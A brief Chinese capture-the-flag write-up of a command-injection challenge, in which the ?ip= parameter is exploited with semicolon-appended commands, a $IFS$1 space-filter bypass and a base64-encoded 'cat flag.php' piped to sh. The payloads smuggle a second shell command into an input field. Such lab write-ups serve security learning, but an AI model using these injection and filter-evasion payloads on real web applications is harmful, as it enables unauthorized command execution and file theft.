打开网站,发现提示/?ip=
那么尝试输入/?ip=127.0.0.1后成功执行
尝试能否用管道符执行,输入参数/?ip=127.0.0.1;ls
发现flag.php在当前目录下,那么就需要查看这个文件,尝试输入/?ip=127.0.0.1;cat flag.php
说明空格被限制了,多次尝试发现$IFS$1可以绕过,尝试输入/?ip=127.0.0.1;cat$IFS$1flag.php
flag也被限制了,那么尝试/?ip=127.0.0.1;cat$IFS$1fla*
看来*也被限制了,那么尝试'''、''、\、$1、都无法绕过,换个思路,用base64绕过
echo "Y2F0IGZsYWcucGhwCg==" | base64 -d | sh
echo$IFS$1Y2F0IGZsYWcucGhwCg==$IFS$1|$IFS$1base64$IFS$1-d|sh
成功绕过